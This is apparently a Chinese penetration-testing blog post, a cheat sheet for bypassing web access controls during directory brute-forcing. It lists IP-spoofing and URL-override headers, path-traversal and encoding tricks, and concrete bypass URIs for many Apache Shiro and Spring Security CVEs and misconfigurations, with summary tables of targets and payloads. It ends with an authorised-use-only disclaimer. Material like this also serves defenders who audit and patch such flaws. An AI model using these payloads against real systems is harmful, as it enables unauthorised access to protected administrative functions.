两面包夹芝士:权限绕过

在进行目录爆破的时候,可以通过目录(权限)绕过来访问敏感url,从而进行进一步攻击
也可以通过指纹识别获取到系统后,检索对应接口结合此类绕过进行渗透(两面包夹芝士)
基础手法
使用IP访问
切换为IP访问可以多访问到一层目录
Header字段
通过设置Header字段来绕过
这部分我已经写成规则,可以在抓包时候自动替换,可以在我之前的文章中找到
指路链接 -> Yakit自定义
Client-IP: 127.0.0.1
Forwarded-For-Ip: 127.0.0.1
Forwarded-For: 127.0.0.1
Forwarded-For: localhost
Forwarded: 127.0.0.1
Forwarded: localhost
True-Client-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1
X-Forward-For: 127.0.0.1
X-Forward: 127.0.0.1
X-Forward: localhost
X-Forwarded-By: 127.0.0.1
X-Forwarded-By: localhost
X-Forwarded-For-Original: 127.0.0.1
X-Forwarded-For-Original: localhost
X-Forwarded-For: 127.0.0.1
X-Forwarded-For: localhost
X-Forwarded-Server: 127.0.0.1
X-Forwarded-Server: localhost
X-Forwarded: 127.0.0.1
X-Forwarded: localhost
X-Forwared-Host: 127.0.0.1
X-Forwared-Host: localhost
X-Host: 127.0.0.1
X-Host: localhost
X-HTTP-Host-Override: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Remote-Addr: localhost
X-Remote-IP: 127.0.0.1
X-Original-URL: /admin
X-Override-URL: /admin
X-Rewrite-URL: /admin
Referer: /admin
User-Agent: Googlebot
User-Agent: Bingbot
User-Agent: iPhone
url编码绕过
对uri进行url编码
../ 绕过
有权限的uri:
/user/login目标uri:
/admin/infopayload:
/user/login/../../admin/info
;abc 绕过
匹配后缀为getinfo.do则进行权限校验,加入;aaa达成绕过
目标uri:
/admin/getinfo.dopayload:
/admin/getinfo.do;aaa
%00截断
字面意思0截断,用于文件上传
Shiro绕过
CVE-2010-3863
未进行标准化处理,在判断开头的时候,可以使用特殊字符绕过
目标URI:
/admin/getinfopayload:
/./admin/getinfo
CVE-2016-6802
未进行标准化处理,在判断开头的时候,可以使用特殊字符绕过
目标URI:
/admin/getinfopayload:
/aaa/../admin/getinfo
CVE-2020-1957 Shiro-682
Spring认为/admin=/admin/
Shiro不这样解析,存在匹配差异
目标URI:
/admin/getinfopayload:
/admin/getinfo/
Spring处理畸形路径,会去掉;与下一个/之间的内容
而shiro会直接丢弃;之后的内容,导致绕过(只适用于低版本spring)
目标URI:
/admin/getinfopayload:
/api/..;/admin/getinfo
CVE-2020-11989 Shiro-782
ContextPath 绕过
利用SHIRO-682,在开头使用/;/来绕过(只适用于低版本spring)
验证方法:在正常URI前加上/;/还能正常访问则存在
目标URI:
/admin/getinfopayload:
/;/admin/getinfo
AntPathMatcher 绕过
CVE-2020-1957的修复中多加了一次url编码,%25%32%66会被解码为/
验证方法:在正常URI的最后一项中插入%25%32%66还能正常访问则存在
目标URI:
/admin/getinfo/{username}payload:
/admin/getinfo/aaa%25%32%66aa(此时username=aaa%25%32%66aa)
CVE-2020-17510
/admin匹配不到/admin/*
使用/admin/%2e在shiro中解码+标准化=/admin
在Spring(高版本)中为/admin/.
/%2e
/%2e/
/%2e%2e
/%2e%2e/
CVE-2020-17523
Shiro调用trim清除了空格,导致/admin/*规则被绕过
目标URI:
/adminpayload:
/admin/%20
CVE-2020-13933
依赖 PathVariable 注解
Shiro先处理url编码,然后处理分号,最后便准化路径
Spring先处理分号,然后处理url编码,最后表转化路径
这就导致了%3b可以绕过/audit/*的鉴权
目标URI:
/admin/getinfo;Tonypayload:
/admin/getinfo%3bTony
CVE-2022-32532
Shiro中正则匹配不会匹配换行%0d%0a
目标url:
/getinfo/xxxxpayload:
/getinfo/T%0aony
Shiro汇总
| 漏洞 | bypass的目标 | payload | 条件 |
|---|---|---|---|
| CVE-2010-3863 远古版本 | /admin | /./admin | |
| CVE-2020-11989 分号处理 | /admin | /;/admin | |
| CVE-2016-6802 未标准化 | /sys/admin | /a/../sys/admin | |
| CVE-2020-1957 1-尾斜杠 | /admin | /admin/ | |
| CVE-2020-1957 2-分号处理 | /swagger | /api/..;/swagger | spring低版本 |
| CVE-2020-17523 空格处理 | /admin | /admin/%20 | |
| CVE-2020-13933 | /getinfo;Tony | /getinfo%3bTony | 依赖PathVariable |
| CVE-2022-32532 %0a%0d | /getinfo/xxxx | /getinfo/t%0aom | |
| CVE-2020-17510 点处理 | /admin | /admin/%2e | spring高版本 |
| /admin/%2e | spring高版本 | ||
| /admin/%2e%2e | spring高版本 | ||
| /admin/%2e%2e/ | spring高版本 |
SpringSecurity
antMatchers配置不当
antMatchers("/admin").access("hasRole('ADMIN')")
正常的写法1:antMatchers("/admin/**").access("hasRole('ADMIN')")
正常的写法2:mvcMatchers("/admin").access("hasRole('ADMIN')")
错误配置导致可以通过/admin/,来绕过对/admin 的校验
目标URI:
/adminpayload:
/admin/
regexMatchers配置不当
.regexMatchers("/admin").access("hasRole('ADMIN')")
正确写法:.regexMatchers("/admin.*?").access("hasRole('ADMIN')")
未写为/admin.**,导致/admin被/admin?绕过
目标URI:
/adminpayload:
/admin?
useSuffixPatternMatch 低版本
spring-webmvc版本在<=4.3.25的情况下suffixPatternMatch默认为True。
该方法为是否启用后辍匹配,如果启用,则映射到/users的方法也可以匹配到/users.*,
/users 和/users.*是相等的。可以通过添加后缀名绕过
Spring MVC版本在<=4.3.25的情况下suffixPatternMatch默认为True
目标URI:
/adminpayload:
/admin.jpg
CVE-2022-22978
config中.regexMatchers("/admin/.*").access("hasRole('ADMIN')")
controler中@RequestMapping(value={"/admin/**"},method={RequestMethod.GET})
一个/admin/.*一个/admin/**才会存在此漏洞,controler中指定子路径后漏洞不存在
目标URI:
/adminpayload:
/admin%0apayload:
/admin%0d
CVE-2016-5007
匹配器处理过于严格,admin!=admin空格
目标URI:
/adminpayload:
/admin%20payload:
/%0dadmin
CVE-2016-9879
未考虑 URL 路径参数。通过向请求添加带有编码/的 URL 路径参数,可以绕过
目标URI:
/admin/getinfopayload:
/admin;%2fgetinfo
CVE-2018-1199
目标URI:
/admin/getinfopayload:
/admin%3b%2fgetinfo
CVE-2022-31692
当Spring Security 版本处于特定版本时,可能会存在通过 forward 或 include 调度类型绕过授权规则的风险。
payload:数据包中有字段可以控制跳转处插入目标url
CVE-2023-34034
配置不当,未以/开头,导致失效
SpringSecurity汇总
| 漏洞 | bypass目标 | payload |
|---|---|---|
| antMatchers配置不当 | /admin | /admin/ |
| regexMatchers配置不当 | /admin | /admin? |
| useSuffixPatternMatch 低版本 | /admin | /admin.jpg |
| CVE-2016-5007 | /admin | /admin%20 |
| /%0dadmin | ||
| CVE-2022-22978 | /admin | /admin%0a |
| /admin%0d | ||
| CVE-2016-9879 | /admin/getinfo | /admin;%2fgetinfo |
| CVE-2018-1199 | /admin/getinfo | /admin%3b%2fgetinfo |
| CVE-2022-31692 转发漏洞 | 数据包中跳转 | |
| CVE-2023-34034 配置不当 | 直接访问 |
参考链接
https://su18.org/tag/E4M5nwSul/
https://www.cnblogs.com/nice0e3/p/16248252.html
https://xz.aliyun.com/t/13235
相信国家相信党,黑客没有好下场
请遵守相关法律法规,文中技术仅用于有授权的安全测试,禁止用于非法活动!
本文章仅面向拥有合法授权的渗透测试安全人员及进行常规操作的网络运维人员。
在操作的过程中,您应确保自己的所有行为符合当地法律法规,且不得进行违反中国人民共和国相关法律的活动。
作者不承担用户擅自使用相关技术从事任何活动所产生的任何责任。

通过Header、Shiro、SpringSecurity进行权限绕过,配合目录爆破能有奇效
浙公网安备 33010602011771号